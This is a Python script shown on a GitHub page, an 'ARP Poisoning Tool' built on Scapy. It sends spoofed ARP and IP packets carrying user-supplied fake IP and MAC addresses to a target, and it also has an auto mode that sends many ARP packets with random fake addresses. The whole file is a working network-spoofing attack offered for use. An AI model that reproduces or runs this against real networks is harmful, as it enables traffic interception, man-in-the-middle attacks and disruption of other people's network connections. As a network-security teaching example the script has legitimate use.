-
Notifications
You must be signed in to change notification settings - Fork 14
/
ARP-Poisoning.py
95 lines (64 loc) · 2.1 KB
/
ARP-Poisoning.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#!/usr/bin/python3
from scapy.all import *
import os
import random
def main():
os.system("clear")
print("### Welcome to ARP Poisoning Tool ###", "\n")
ARP_Packet = ARP()
ICMP_Packet = IP()
Menu(ARP_Packet, ICMP_Packet)
### [email protected] ###
def SourceIP(ARP_Packet, ICMP_Packet):
srcIP = input("Fake IP : ")
ARP_Packet.psrc = srcIP
ICMP_Packet.src = srcIP
def DestinationIP(ARP_Packet, ICMP_Packet):
dstIP = input("\nDestination IP : ")
ARP_Packet.pdst = dstIP
ICMP_Packet.dst = dstIP
def SourceHW(ARP_Packet):
fakeMAC = input("Fake MAC : ")
ARP_Packet.hwsrc = fakeMAC
def DestinationHW(ARP_Packet):
dstMAC = input("Destination MAC : ")
ARP_Packet.hwdst = dstMAC
def randomMAC():
mac = [random.randint(0x00, 0xff), random.randint(0x00, 0xff), random.randint(0x00, 0xff),
random.randint(0x00, 0x7f), random.randint(0x00, 0xff), random.randint(0x00, 0xff)]
return ':'.join(map(lambda x: "%02x" % x, mac))
def randomIP():
ip = ".".join(map(str, (random.randint(0, 255) for _ in range(4))))
return ip
def ARP_Poisoning(ARP_Packet, ICMP_Packet):
DestinationIP(ARP_Packet, ICMP_Packet)
DestinationHW(ARP_Packet)
SourceIP(ARP_Packet, ICMP_Packet)
SourceHW(ARP_Packet)
print("\n")
ICMP_Packet.display()
print("\n")
ARP_Packet.show()
send(ICMP_Packet)
send(ARP_Packet)
def AutoARP(ARP_Packet, ICMP_Packet):
ARP_Packet.hwsrc = randomMAC()
randIP = randomIP()
ARP_Packet.psrc = randIP
ICMP_Packet.src = randIP
send(ICMP_Packet)
send(ARP_Packet)
def Menu(ARP_Packet, ICMP_Packet):
print("[1] - Manual ARP Poisoning\n[2] - Auto ARP Packet Generation\n")
answer = input("Enter [1] or [2] : ")
if int(answer) == 1:
ARP_Poisoning(ARP_Packet, ICMP_Packet)
elif int(answer) == 2:
DestinationIP(ARP_Packet, ICMP_Packet)
cycle = input("How many fake ARP packets you want to generate: ")
for x in range(0, int(cycle)):
AutoARP(ARP_Packet, ICMP_Packet)
else:
print("[ERROR] Wrong Input !!!")
main()
main()